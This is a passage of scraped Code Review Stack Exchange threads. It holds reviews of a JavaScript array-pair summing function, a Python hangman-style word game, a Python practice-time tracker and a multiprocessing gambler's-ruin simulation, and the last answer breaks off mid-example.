<li><p>I am starting iteration using while loop, over the sorted array <code>arr1</code></p></li> <li><p>We check the difference between the target value and value of current element in <code>arr1</code> if the difference exist in <code>hashMapB</code> we are storing the indexes in <code>currentHighest</code> and setting the difference to zero </p></li> <li><p>Else, We check the value of midpoint in arr2. we use it compare the value at our midpoint in arr2 and value of our difference, if difference in greater than we can iterate from the midpoint to the point where our difference remains greater </p></li> <li><p>Creates difference2 which checks if the value exist in hashMap A, if it does, it will do the same thing which we did previously </p></li> <li><p>if not, we calculate the difference between arr1 element and arr2 and that iteration, compare their value and if the difference in their value happens to be less than our stored difference, we set indexes and make that our new difference </p></li> <li><p>we return currentHighest.indexes</p></li> </ol> <p>while the following code, does work, I am not thinking it is optimal. Can someone help me and suggest me on how I can make this code for optimize? </p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T00:59:30.387", "Id": "452752", "Score": "0", "body": "@Blindman67 Sorry for spamming your notification but since I so admire your previous answer on my post, I would love if you could take a look?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T01:29:34.797", "Id": "452754", "Score": "1", "body": "Your code is quite long for a task that sounds quite simple. Can you give a summary of what the code does, to give us some hints about the purpose of all these variables you use? The name `hashMapA` does not give any clue about its purpose, for example." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T10:20:44.153", "Id": "452782", "Score": "0", "body": "@RolandIllig Thanks for replying, just summarised the summary of my algo. Hope this makes my code more comprehendible" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T11:35:40.633", "Id": "452794", "Score": "0", "body": "@iRohitBhatia I am a little busy ATM but will have a look when I get a chance and someone else has not provided a good answer." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T12:22:47.037", "Id": "452799", "Score": "0", "body": "@Blindman67 Cool. Thanks a lot :)" } ]
[ { "body": "<p>Your code seams massively over complex.</p>\n<p>I do not see the need to sort the arrays as the overhead does not warrant the the benefit.</p>\n<p>Assigning to the maps in the sort function is very inefficient. The sort function will be called many more times than there are items in the array.</p>\n<p>I would say that <code>if (hashMapB.hasOwnProperty(difference)) {</code> is redundant as it can be assumed that objects within the environment of leetcode will not have enumerable properties higher in the prototype chain to worry about. Thus <code>if (hashMapB[difference] !== undefined)</code> would be more performant.</p>\n<p>The long variable names makes your code hard to follow. Consider short names and use common abbreviations to reduce the length of lines.</p>\n<p>JS will automatically insert semicolons, but there are many situations when the location of the inserted semicolon is not obvious. Inexperienced JS coders should always use semicolons. Experienced coders know its easier to include them.</p>\n<p>You don't need to delimit single line statement blocks with <code>{}</code> however it is a source of future bugs when modifying code, as adding the <code>{}</code> can easily be overlooked and very hard to spot. Always delimit all statement blocks. eg <code>if (foo) bar =1</code> is better as <code>if (foo) { bar = 1 }</code></p>\n<p>The link you provided is not a testable problem, rather it is just a leetcode discussion topic. I have nothing to test on apart from the limited arguments provided in the discussion. There are many question that the set of given inputs do not answer, writing the optimal solution is not possible. The example below is just a brute force solution of complexity <span class=\"math-container\">\\$O(nm)\\$</span> where <span class=\"math-container\">\\$n\\$</span> and <span class=\"math-container\">\\$m\\$</span> are the length of the two input arrays.</p>\n<h2>Example</h2>\n<p>Comparing this function against yours and assuming that the values to sum are signed integers (not unsigned as that would allow the inner loop to be skipped if an items had a value greater than the sum (3rd arg)).</p>\n<p>The example returns a result in 0.589µs against your functions 25.250µs (µs = 1/1,000,000 second)</p>\n<p>I did not test it against very large data sets nor did I look too deeply for a less complex solution.</p>\n<p>To avoid creating a new array each time a larger max sum is found I use a counter <code>foundCount</code> as an index of where to put new closer indexes in the <code>result</code> array. When the function is done I just trim the array by setting its length to the found count.</p>\n<pre><code>function currentHighest(a, b, max) {\n const lenA = a.length, lenB = b.length, result = [];\n var i = 0, j, foundCount = 0, maxFound = -Infinity;\n while (i &lt; lenA) {\n j = 0;\n const pA = a[i], valA = pA[1];\n while (j &lt; lenB) {\n const pB = b[j], sum = valA + pB[1];\n if (sum &lt;= max &amp;&amp; sum &gt;= maxFound) {\n if (sum !== maxFound) { foundCount = 0 } \n maxFound = sum;\n result[foundCount++] = [pA[0], pB[0]];\n }\n j++;\n }\n i++;\n }\n result.length = foundCount;\n return result;\n}\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T14:04:09.967", "Id": "232014", "ParentId": "231991", "Score": "4" } } ]
{ "AcceptedAnswerId": "232014", "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T00:16:43.797", "Id": "231991", "Score": "3", "Tags": [ "javascript" ], "Title": "Optimal Utilization" }
231991
<p>Made after seeing <a href="https://codereview.stackexchange.com/questions/231949/a-simple-word-guessing-game">A Simple Word Guessing Game</a>. Any code critique is welcome!</p> <pre class="lang-py prettyprint-override"><code>import urllib.request as Web import random import string def get_words(): url = "http://svnweb.freebsd.org/csrg/share/dict/words?view=co&amp;content-type=text/plain" req = Web.Request(url) res = Web.urlopen(req).read().splitlines() return res def get_target(): words = get_words() while True: target = random.choice(words).decode('utf8') if len(target) &gt; 2 and "'" not in target and '.' not in target: return target def get_guess(): print('Guess a single letter!') while True: guess = input().strip() if len(guess) == 1: if guess.isalpha(): return guess elif guess.isdigit(): return string.ascii_lowercase[int(guess)] else: print('[!] Needs to be alnum &lt;&lt; ', end='', flush=True) else: print('[!] Needs only one char &lt;&lt; ', end='', flush=True) def play_game(): print('Fetching a random word...') target = get_target() comp = ['_' for _ in target] print("Alright, we're ready to play!\n") while True: print('Target:', ' '.join(comp)) guess = get_guess() if guess in target: for i, c in enumerate(target): if c == guess: comp[i] = c if '_' in comp: print() else: print('Congrats! You won!') return 0 if __name__ == "__main__": play_game() </code></pre>
[]
[ { "body": "<ul>\n<li><p>I think you should filter out the words you don't want in your game (words with less than 3 characters) in <code>get_words</code>. That way it's convenient for you if you need to pick from the word list multiple times. For example, you might want to give the player the option to 'play again' with a different word. If you do that (and adopt my suggestion about words with punctuation below), you won't need <code>get_target</code> anymore and can just call <code>random.choice</code> directly on the list of words.</p></li>\n<li><p>Consider using <a href=\"https://requests.kennethreitz.org/en/master/\" rel=\"nofollow noreferrer\"><code>requests</code></a> to simplify your code:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>words = requests.get(url).text.splitlines() # List[str]\n</code></pre></li>\n<li><p>For easier testing, it would be more convenient if <code>play_game</code> took in <code>target: str</code> as a parameter. This way you can do ad-hoc testing with a word of your choice.</p></li>\n<li><p>When you iterate over <code>target</code> to generate <code>comp</code>, you can also construct a mapping of letters to indices in <code>target</code>. This makes revealing correctly guessed characters in <code>target</code> more efficient:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>\"\"\"\nNote that this also handles words with punctuation\nby filling them in for the player, e.g.\n\n R&amp;D -&gt; _ &amp; _\n Ph.D -&gt; _ _ . _\nyou'll -&gt; _ _ _ ' _ _\n\"\"\"\nchar_to_indices = defaultdict(list)\ncomp = []\nfor i, c in enumerate(target):\n if c in string.ascii_letters:\n char_to_indices[c.lower()].append(i)\n comp.append('_')\n else:\n comp.append(c)\n</code></pre>\n\n<p>Revealing instances of the correctly guessed character:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>if guess in char_to_indices:\n for i in char_to_indices[guess]:\n comp[i] = target[i]\n</code></pre></li>\n</ul>\n\n<h1>General comments about usability</h1>\n\n<ul>\n<li><p>It's a fairly large word list, so consider caching it to a file so the player doesn't have to download it again each time they want to play.</p></li>\n<li><p>If the secret word is 'Apple' and the player guesses 'a', the game doesn't fill in 'A'. I think it would be a better play experience if the game wasn't strict about the case of the guessed letter (this is handled above in the code snippets with <code>char_to_indices</code>).</p></li>\n<li><p>When searching the word list, I didn't see any entries that had numerical digits 0-9. Interpreting a digit character as an index into the string <code>string.ascii_lowercase</code> is unintuitive/surprising behavior as well. Seems like <code>get_guess</code> should only complain if the player didn't enter exactly one character from the alphabet.</p></li>\n<li><p>One improvement to be more user-friendly might be to print out a reference 'letter bank' of all the alphabet letters the player hasn't guessed yet:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code># start with all 26 letters\ncharacters_left = string.ascii_lowercase\n\n# printing out the 'letter bank'\nprint('Target:', ' '.join(comp))\nprint(f'\\n[ {characters_left} ]')\n# ...\n\n# removing a player's guess\ncharacters_left = characters_left.replace(guess, ' ')\n</code></pre></li>\n<li><p>When the player wins, print out the entire word! Currently the game just ends abruptly with the congratulatory message.</p></li>\n</ul>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T08:12:36.793", "Id": "232001", "ParentId": "231992", "Score": "2" } } ]
{ "AcceptedAnswerId": "232001", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T01:59:33.890", "Id": "231992", "Score": "2", "Tags": [ "python", "python-3.x", "strings" ], "Title": "Guessing The Word" }
231992
<p>I made this to record the time I spend practicing Python. I'll eventually add in functionality to visualize the data. I'd appreciate any feedback that will help me improve.</p> <pre><code># timer.py - A timer to track time spent practicing python from datetime import timedelta from datetime import datetime as Datetime # used json b/c I wanted to practice it import json import os # dict with all python practice options options = ["Code Review", "Project", "Puzzles (Project Euler, Finxter, kaggle)", "Courses, Books, or Videos", "Read Docs"] # Prompts user what type of practice they would like to do. User enters int. def practice_choice(): print("Pick a form of practice:\n") # print each option in options then ask user to select num = 1 for option in options: print(str(num) + ". " + option) num += 1 selection = input("\nPick a number: ") return options[int(selection) - 1] def timer(selection): # store notes about practice session notes = input("Enter notes... ") # start timing session and get start time input("Hit Enter to begin practice...") start_dt = Datetime.now() # loop to allow for pausing. infinite loop that breaks when user clicks enter to stop session. var = 1 total_so_far = 0 while var == 1: pause_or_stop = input("Hit Enter to stop or space to pause...") # when user hits enters space char if pause_or_stop == ' ': # gets time session was paused. Calculates time practicing so far. Stores for later # Allows user to pause multiple times pause_dt = Datetime.now() total_so_far += int((start_dt - pause_dt) / timedelta(seconds=1)) # used sec for easier testing. # resume on enter key and overwrites old start time input("Hit Enter to resume") start_dt = Datetime.now() # breaks if enter key elif pause_or_stop == '': break # catch bad input else: print("Key not recognized") # get stop time and find total time in minutes end_dt = Datetime.now() total_mins = int((end_dt - start_dt) / timedelta(seconds=1)) + total_so_far # used sec for easier testing. # add value to data[selection] dict. value is a list of datetime info, noes, total_minutes data[selection].append({'day': Datetime.now().strftime("%A"), # %b %d %Y %H:%M), 'date': Datetime.now().strftime("%m-%d-%y"), 'time': Datetime.now().strftime("%H:%M"), 'notes': notes, 'minutes': total_mins}) # convert dict to JSON object with open(target_file, 'w') as json_file: json.dump(data, json_file, indent=4) # prompt user for type of practice choice = practice_choice() # practice_log file with all practice sessions are stored target_file = "practice_log.json" # initialize data dict which will hold practice logs data = {} # creates json file if it doesn't exist if not os.path.exists(target_file): # top level values of json are created corresponding to practice type for each_item in options: data[each_item] = [] with open(target_file, 'w') as json_file: json.dump(data, json_file, indent=4) # open json file and load into target_files with open(target_file, 'r') as json_file: data = json.load(json_file) # starts timer timer(choice) </code></pre>
[]
[ { "body": "<p><strong><em>Ways to improve and redesign:</em></strong></p>\n\n<p>I'll start with listing <em>inner</em> issues (duplication, redundant or over-complicated conditional/algorithms etc). Then I'll provide you with a new <em>Object-Oriented</em> approach as a more manageable, flexible and reliable. </p>\n\n<ul>\n<li><p><code>options = [...]</code>. <em>\"Practice options\"</em> is better designed as a constant with immutable items (tuple):</p>\n\n<pre><code>OPTIONS = (\"Code Review\",\n \"Project\",\n \"Puzzles (Project Euler, Finxter, kaggle)\",\n \"Courses, Books, or Videos\",\n \"Read Docs\")\n</code></pre></li>\n<li><p><code>practice_choice</code> function:<br>\nDragging <code>num</code> variable though the <code>for</code> loop is redundant and easily replaced with <a href=\"https://docs.python.org/3/library/functions.html#enumerate\" rel=\"noreferrer\"><code>enumerate</code></a> feature (with custom <code>start=</code> parameter):</p>\n\n<pre><code>print('\\n'.join(f'{i}. {option}' for i, option in enumerate(self.OPTIONS, 1)))\n</code></pre></li>\n<li><p><code>timer</code> function:<br>\n<code>var</code> variable here:</p>\n\n<pre><code>var = 1\ntotal_so_far = 0\nwhile var == 1:\n ...\n</code></pre>\n\n<p>is redundant and it's not reassigned anywhere. Simply go with:</p>\n\n<pre><code>while True:\n ...\n</code></pre></li>\n<li><p><code>total_so_far</code> variable is better named as <code>total_time</code></p></li>\n<li><p><code>Datetime.now()</code> is duplicated on constructing a dictionary of session info (notes, total minutes etc). <br>Instead, use <code>end_dt</code> from the nearest statement <code>end_dt = Datetime.now()</code> as it's already contains the current <em>datetime</em>.</p></li>\n<li><p>creating non-existent <em>target</em> file:<br>\nfilling <code>data</code> dict with:</p>\n\n<pre><code>for each_item in options:\n data[each_item] = []\n</code></pre>\n\n<p>is easily substituted with dict comprehension:</p>\n\n<pre><code>data = {o: [] for o in self.OPTIONS}\n</code></pre></li>\n<li><p>saving data</p>\n\n<pre><code>with open(target_file, 'w') as json_file:\n json.dump(data, json_file, indent=4)\n</code></pre>\n\n<p>is extracted into a separate function/method with respective name</p></li>\n</ul>\n\n<hr>\n\n<p>Now, the <em>Object-Oriented</em> <strong><code>PracticeTimer</code></strong> class with lot of benefits like:</p>\n\n<ul>\n<li>class constants</li>\n<li>encapsulated state/behavior</li>\n<li>dealing with target file: initializing/saving</li>\n<li>methods with specific responsibilities</li>\n<li>easy to extend</li>\n</ul>\n\n<p>Underlying Class diagram:</p>\n\n<p><a href=\"https://i.stack.imgur.com/LVrtO.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/LVrtO.jpg\" alt=\"enter image description here\"></a></p>\n\n<hr>\n\n<pre><code># timer.py - A timer to track time spent practicing python\n\nfrom datetime import timedelta\nfrom datetime import datetime as Datetime\nimport json\nimport os\n\n\nclass PracticeTimer:\n # practice options\n OPTIONS = (\"Code Review\",\n \"Project\",\n \"Puzzles (Project Euler, Finxter, kaggle)\",\n \"Courses, Books, or Videos\",\n \"Read Docs\")\n\n # practice_log file with all practice sessions are stored\n TARGET_FILE = \"practice_log.json\"\n\n def __init__(self):\n # creates json file if it doesn't exist\n if not os.path.exists(self.TARGET_FILE):\n # top level values of json are created corresponding to practice type\n data = {o: [] for o in self.OPTIONS}\n with open(self.TARGET_FILE, 'w') as json_file:\n json.dump(data, json_file, indent=4)\n\n # open json file and load session data\n with open(self.TARGET_FILE, 'r') as json_file:\n self._data = json.load(json_file)\n\n self._current_choice = None\n\n def practice_choice(self):\n \"\"\"Prompts user to select practice item. User enters int.\"\"\"\n print(\"Pick a form of practice:\\n\")\n\n # print options, then ask user to select\n print('\\n'.join(f'{i}. {option}' for i, option in enumerate(self.OPTIONS, 1)))\n choice = input(\"\\nPick a number: \")\n self._current_choice = self.OPTIONS[int(choice) - 1]\n return self._current_choice\n\n def _save_log(self):\n with open(self.TARGET_FILE, 'w') as json_file:\n json.dump(self._data, json_file, indent=4)\n\n def run(self):\n self.practice_choice()\n\n # store notes about practice session\n notes = input(\"Enter notes... \")\n\n # start timing session and get start time\n input(\"Hit Enter to begin practice...\")\n start_dt = Datetime.now()\n\n # loop to allow for pausing. Infinite loop that breaks when user clicks enter to stop session.\n total_time = 0\n while True:\n pause_or_stop = input(\"Hit Enter to stop or space to pause...\")\n\n # when user hits enters space char\n if pause_or_stop == ' ':\n\n # gets time session was paused. Calculates time practicing so far. Stores for later\n # Allows user to pause multiple times\n pause_dt = Datetime.now()\n total_time += int((start_dt - pause_dt) / timedelta(seconds=1)) # used sec for easier testing.\n\n # resume on enter key and overwrites old start time\n input(\"Hit Enter to resume\")\n start_dt = Datetime.now()\n\n # breaks if enter key\n elif pause_or_stop == '':\n break\n # catch bad input\n else:\n print(\"Key not recognized\")\n\n # get stop time and find total time in minutes\n end_dt = Datetime.now()\n total_mins = int((end_dt - start_dt) / timedelta(seconds=1)) + total_time # used sec for easier testing.\n\n # add info to the current session (as a list of datetime info, notes, total_minutes)\n self._data[self._current_choice].append({'day': end_dt.strftime(\"%A\"), # %b %d %Y %H:%M),\n 'date': end_dt.strftime(\"%m-%d-%y\"),\n 'time': end_dt.strftime(\"%H:%M\"),\n 'notes': notes,\n 'minutes': total_mins})\n\n self._save_log()\n\n\nif __name__ == '__main__':\n p_timer = PracticeTimer()\n p_timer.run()\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T10:13:21.820", "Id": "452779", "Score": "2", "body": "Nice use of a class. I was contemplating whether I should add it, but decided against it in the end. Good to see that it is represented nevertheless!" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T10:18:16.523", "Id": "452780", "Score": "0", "body": "@Graipher, Thanks, I appreciate that." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T22:13:10.370", "Id": "452865", "Score": "0", "body": "(`# used sec for easier testing.`, if you put these in a row just above the code it refers to, you won't have to scroll right here on SO. :) )" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-09T22:44:56.333", "Id": "453107", "Score": "0", "body": "Thanks! I really appreciate this. A couple questions so far:\n- At the top, you use self.OPTIONS in the practice_choice function. I shouldn't be able to use self until I implemented the PracticeTimer class, correct?\n\n- In practice_choice, why do you use \\n in the join? Doesn't that separate each character with a newline?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-10T08:02:55.813", "Id": "453134", "Score": "0", "body": "@engineer.lisa, welcome. 1) `OPTIONS` attribute will be accessed and shared across all `PracticeTimer` instances, though it resides in the class namespace. Python will take care of that due to *name resolution*. If you need to visually point out the exact binding - you may specify it as `PracticeTimer.OPTIONS`; 2) *Doesn't that separate each character with a newline?* - No, that one-liner with single `print` call is a replacement of your `for` loop with multiple `print` calls, it concatenates each \"option\" with a newline `\\n` to get the needed output" } ], "meta_data": { "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T10:00:51.417", "Id": "232004", "ParentId": "231993", "Score": "7" } }, { "body": "<p>Welcome to Code Review! This is a nice first question. Here are a few comments:</p>\n\n<ul>\n<li><p>Documenting your code is nice. Comments are an OK way to do it, but one hard part of documentation is already obvious in your first comment:</p>\n\n<pre><code># dict with all python practice options\noptions = [\"Code Review\", ...]\n</code></pre>\n\n<p>Keeping code and documentation in line is hard. You say it is a <code>dict</code>, but it is actually a <code>list</code>.</p>\n\n<p>For some of your other comments, you should take a look at <a href=\"https://www.python.org/dev/peps/pep-0257/\" rel=\"noreferrer\">PEP257</a>, the description of the <code>docstring</code>. This allows you to set a documentation string which can be interactively retrieved using <code>help(...)</code> and which is picked up by many automatic documentation tools. For your function <code>practice_choice</code> this could be as simple as moving the comment inside:</p>\n\n<pre><code>def practice_choice():\n \"\"\"Prompts user what type of practice they would like to do. User enters int.\"\"\"\n ...\n</code></pre></li>\n<li><p>The standard library is your friend. It has many built-in functions and many more helpful modules. It never hurts trying to learn as many of them as possible.</p>\n\n<p>Instead of </p>\n\n<pre><code>num = 1\nfor option in options:\n print(str(num) + \". \" + option)\n num += 1\n</code></pre>\n\n<p>You can write:</p>\n\n<pre><code>for num, option in enumerate(options, 1):\n print(f\"{num}. {option}\")\n</code></pre>\n\n<p>This uses <a href=\"https://docs.python.org/3/library/functions.html#enumerate\" rel=\"noreferrer\"><code>enumerate</code></a> (using the optional second argument to start at one) and the new (Python 3.7+) <a href=\"https://www.python.org/dev/peps/pep-0498/\" rel=\"noreferrer\"><code>f-string</code></a>.</p>\n\n<p>Similarly, when the file is newly created, you have to create empty lists so that later the calls to <code>data.append</code> don't fail. Instead you could use <a href=\"https://docs.python.org/3/library/collections.html#collections.defaultdict\" rel=\"noreferrer\"><code>collections.defaultdict</code></a>, which is also in the standard library:</p>\n\n<pre><code>from collections import defaultdict\n\ndata = defaultdict(list)\n</code></pre>\n\n<p>This will call the given constructor, here <code>list</code>, whenever a key does not yet exist, giving you an empty list.</p></li>\n<li><p>If you are writing an interactive program, it pays off to define a generic enough function to handle user input. Common features you want is type adherence, allowed values, ranges, or even generic validator functions, and prompting the user until a valid input is given. This is how such a function could look like in your case:</p>\n\n<pre><code>def ask_user(message, type_=str, valid=None):\n while True:\n user_input = input(message)\n try:\n user_input = type_(user_input)\n except ValueError:\n print(f\"Wrong type, expected {type_}\")\n continue\n if valid is not None:\n if callable(valid) and valid(user_input):\n return user_input\n elif user_input in valid:\n return user_input\n print(\"Invalid input.\")\n</code></pre>\n\n<p>This can be used in many places in your code:</p>\n\n<pre><code>selection = ask_user(\"\\nPick a number: \", int, range(1, len(options) + 1))\n\nmsg = \"\\n\".join(f\"{num}. {option}\" for num, option in enumerate(options, 1))\nchoice = options[ask_user(msg, int, range(1, len(options) + 1)) - 1]\n\nask_user(\"Hit Enter to begin practice...\", valid=\"\")\n\npause_or_stop = ask_user(\"Hit Enter to stop or space to pause...\", valid=\" \") # or `valid=[\"\", \" \"]`, but `\"\" in \" \"` returns True\n</code></pre></li>\n<li><p>Try to separate your functions that do something from input and output. You have the core functionality of the function, a pausable timer, and then you have taking notes associated with it, saving it to a file, adding metadata. I would put these things in separate functions.</p>\n\n<p>Along with that, you should put your main code under a <a href=\"http://stackoverflow.com/questions/419163/what-does-if-name-main-do\"><code>if __name__ == \"__main__\":</code> guard</a>, to allow importing from this file without executing the code.</p>\n\n<p>Here is one way to do it. This is a pausable timer as a generator that <code>yield</code>s the beginning and end of every section</p>\n\n<pre><code>def timer():\n start = datetime.now()\n print(\"Timer started\")\n while True:\n user_input = ask_user(\"Hit Enter to stop or space to pause...\", valid=\" \")\n yield start, datetime.now()\n if user_input != \" \":\n return\n if ask_user(\"Hit Enter to resume, anything else to abort\", valid=\" \") == \"\":\n start = datetime.now()\n else:\n return\n</code></pre>\n\n<p>Which can be used like this:</p>\n\n<pre><code>for t0, t1 in timer():\n total_mins = int((t1 - t0).total_seconds() // 60)\n ...\n</code></pre>\n\n<p>The whole <code>main</code> function could then be:</p>\n\n<pre><code>def main():\n options = [\"Code Review\",\n \"Project\",\n \"Puzzles (Project Euler, Finxter, kaggle)\",\n \"Courses, Books, or Videos\",\n \"Read Docs\"]\n choice = practice_choice(options)\n notes = input(\"Enter notes... \")\n\n file_name = \"practice_log.json\"\n if os.path.isfile(file_name):\n with open(file_name) as f:\n data = defaultdict(list, json.loads(f))\n else:\n data = defaultdict(list)\n\n for t0, t1 in timer():\n total_mins = int((t1 - t0).total_seconds() // 60)\n print(f\"Worked on {choice} for {total_mins} minutes\")\n data[choice].append({'day': t1.strftime(\"%A\"),\n 'date': t1.strftime(\"%m-%d-%y\"),\n 'time': t1.strftime(\"%H:%M\"),\n 'notes': notes,\n 'minutes': total_mins})\n with open(file_name, 'w') as json_file:\n json.dump(dict(data), json_file, indent=4)\n\nif __name__ == \"__main__\":\n while True:\n main()\n</code></pre>\n\n<p>Note that <code>practice_choice</code> now takes the options as an argument. I also made the main program repeat, in case you want to start the next timer immediately.</p>\n\n<p>I used <code>os.path.isfile</code> instead of <code>os.path.exists</code>, because the latter is also true for directories. I don't know why you would <em>want</em> to create a directory called <code>\"practice_log.json\"</code>, but it can happen accidentally and then your code would crash.</p></li>\n<li><p>Python has an official style-guide, <a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"noreferrer\">PEP8</a>. Your code follows it almost everywhere, but the one place it doesn't is where the standard library also doesn't.</p>\n\n<p>You imported it <code>as Datetime</code>, PEP8 would recommend <code>DateTime</code>, but it is just called <code>datetime</code>. I would either use the name it is given (which happened before the naming convention existed AFAIK), or use the fully PEP8 compliant name.</p></li>\n</ul>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-09T22:58:58.033", "Id": "453109", "Score": "0", "body": "Thanks for all this feedback. Still going though it but wanted to say thanks. Also, I'll read the docstring PEP as you recommend." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T10:11:25.013", "Id": "232005", "ParentId": "231993", "Score": "7" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T02:20:26.880", "Id": "231993", "Score": "9", "Tags": [ "python", "python-3.x" ], "Title": "A timer to track time spent practicing Python" }
231993
<p><strong>Context</strong></p> <p>The following script is a quick implementation of the gambler's ruin problem. For each given upper bound on the number of rounds in a game <code>max_iter</code>, simulate several games (trials) in parallel and summarize statistics.</p> <p><strong>Question</strong></p> <p>Is there a more efficient/neater way to parallelize? For example, the main method <code>simulate_game</code> only takes in one input parameter for convenience when calling <code>Pool</code> and it'd be nice to instead have e.g. <code>simulate_game(max_iter, args)</code>.</p> <pre><code>import time import numpy as np from multiprocessing import Pool from matplotlib import pyplot as plt from random import random as unif_rand def simulate_game(max_iter): """Gambler wins/loses with prob 0.5 and the game stops when either: i) the gambler runs out of money, or ii) house runs out of money, or iii) max_iter reached. Params: max_iter (int): upper bound on number of rounds in game. Returns: curr_iter (int): num iterations reached at end of game. Notes: "game" is synonymous with "trial". """ # hardcoded vals to make parallelization easier... gambler_limit=100 house_limit=200 gambler_win_prob=0.5 curr_iter = 0 # simulate game while gambler_limit and house_limit and curr_iter &lt; max_iter: curr_iter += 1 u = unif_rand() payout = 1 if u &gt; gambler_win_prob else -1 gambler_limit += payout house_limit += -payout return curr_iter class GamblerStats(object): """Compute and record stats.""" def __init__(self, avg_duration_list=[], var_duration_list=[]): self.avg_duration_list = avg_duration_list self.var_duration_list = var_duration_list def compute_duration_stats(self, duration_list): self.avg_duration = np.mean(duration_list) self.var_duration = np.var(duration_list) return None def update_stats(self, duration_list): """Update stats based on new duration_list.""" self.compute_duration_stats(duration_list) self.avg_duration_list.append(self.avg_duration) self.var_duration_list.append(self.var_duration) return None if __name__ == "__main__": start_time = time.time() procs = 3 # num physical cores - 1 max_range = 20 scale_iter = 2e4 max_iter_list = [n*scale_iter for n in range(1, max_range)] # max iter per trial n_trials = 250 # num trials per experiment # Execute Simulated Experiments gambler_stats = GamblerStats() for max_iter in max_iter_list: # parallel compute trials jobs = [max_iter] * n_trials duration_list = Pool(procs).map(simulate_game, jobs) # Update Gambler Stats gambler_stats.update_stats(duration_list) # Summarize Time end_time = time.time() work_time = end_time - start_time print('Time taken for all simulations', work_time) # Example Plot plt.title('Avg Game Duration [iter]') plt.xlabel('max_iter x {:.0E}'.format(scale_iter)) plt.ylabel('Avg Duration') plt.plot(gambler_stats.avg_duration_list, '.-') </code></pre>
[]
[ { "body": "<h1>Assigning number of processors</h1>\n\n<p>You currently set <code>procs = 3</code>, specifically for your 4-core machine. You can get the number of (logical) cores of your machine using the <a href=\"https://docs.python.org/3/library/multiprocessing.html#multiprocessing.cpu_count\" rel=\"nofollow noreferrer\"><code>multiprocessing.cpu_count</code></a> function:</p>\n\n<pre><code>from multiprocessing import Pool, cpu_count\nprocs = cpu_count() - 1\n</code></pre>\n\n<h1>Create <code>Pool</code> just once</h1>\n\n<p>Rather than creating a new <code>Pool</code> every iteration of your for-loop, it is better to just create it once and keep using the same one. By using the <code>with</code> statement, it also makes sure to close it all neatly when you're done with it.</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>with Pool(procs) as p:\n for max_iter in max_iter_list:\n jobs = [max_iter] * n_trials\n duration_list = p.map(simulate_game, jobs)\n gambler_stats.update_stats(duration_list)\n</code></pre>\n\n<h1>Hardcoded values in <code>simulate_games</code> function</h1>\n\n<p>First of all, you can define your default values in the function definition. This also makes the difference more clear between the hardcoded defaults and initializations like <code>cur_iter = 0</code></p>\n\n<pre class=\"lang-py prettyprint-override\"><code>def simulate_game(max_iter, \n gambler_limit=100, \n house_limit=200, \n gambler_win_prob=0.5):\n</code></pre>\n\n<h2>Create different fixed-value alternative using <code>partial</code></h2>\n\n<p>To have a fixed different set of default values, you could use <a href=\"https://docs.python.org/3/library/functools.html#functools.partial\" rel=\"nofollow noreferrer\"><code>functools.partial</code></a>:</p>\n\n<pre><code>from functools import partial\nsimulate_high_roller = partial(simulate_game, gambler_limit=1_000)\nwith Pool(procs) as p:\n duration_list = p.map(simulate_high_roller , jobs)\n</code></pre>\n\n<h2>Mapping with multiple arguments: <code>starmap</code></h2>\n\n<p>If instead you want to simulate using a whole range of parameter values, <a href=\"https://docs.python.org/3.8/library/multiprocessing.html#multiprocessing.pool.Pool.starmap\" rel=\"nofollow noreferrer\"><code>Pool.starmap</code></a> is probably what you're looking for. Just like the 'regular' <a href=\"https://docs.python.org/3/library/itertools.html#itertools.starmap\" rel=\"nofollow noreferrer\"><code>itertools.starmap</code></a>, it allows you to pass in a list of tuples that it will unpack and pass to your function.</p>\n\n<p>So if you have pre-defined lists of parameters you want to simulate, you can use <code>zip</code> to create the tuples.</p>\n\n<pre class=\"lang-py prettyprint-override\"><code># Example\nmax_iter_list = [10, 20, 50]\ngambler_limits = [50, 100, 200]\nhouse_limits = [150, 200, 250]\nwin_probabilities = [0.6, 0.5, 0.4]\n\nwith Pool(procs) as p:\n for arguments in zip(max_iter_list, gambler_limits, house_limits, win_probabilities):\n jobs = [arguments] * n_trials\n duration_list = p.starmap(simulate_game, jobs)\n</code></pre>\n\n<p>In case of a full grid-search of your parameters, this combines nicely with <a href=\"https://docs.python.org/3/library/itertools.html#itertools.product\" rel=\"nofollow noreferrer\"><code>itertools.product</code></a>, although that set of combinations will grow quite fast, so be deliberate about which ones you need to test.</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>&gt;&gt;&gt; from itertools import product\n&gt;&gt;&gt; arguments = list(product(max_iter_list, gambler_limits, \n... house_limits, win_probabilities))\n&gt;&gt;&gt; print(arguments)\n[(10, 50, 150, 0.6),\n (10, 50, 150, 0.5),\n 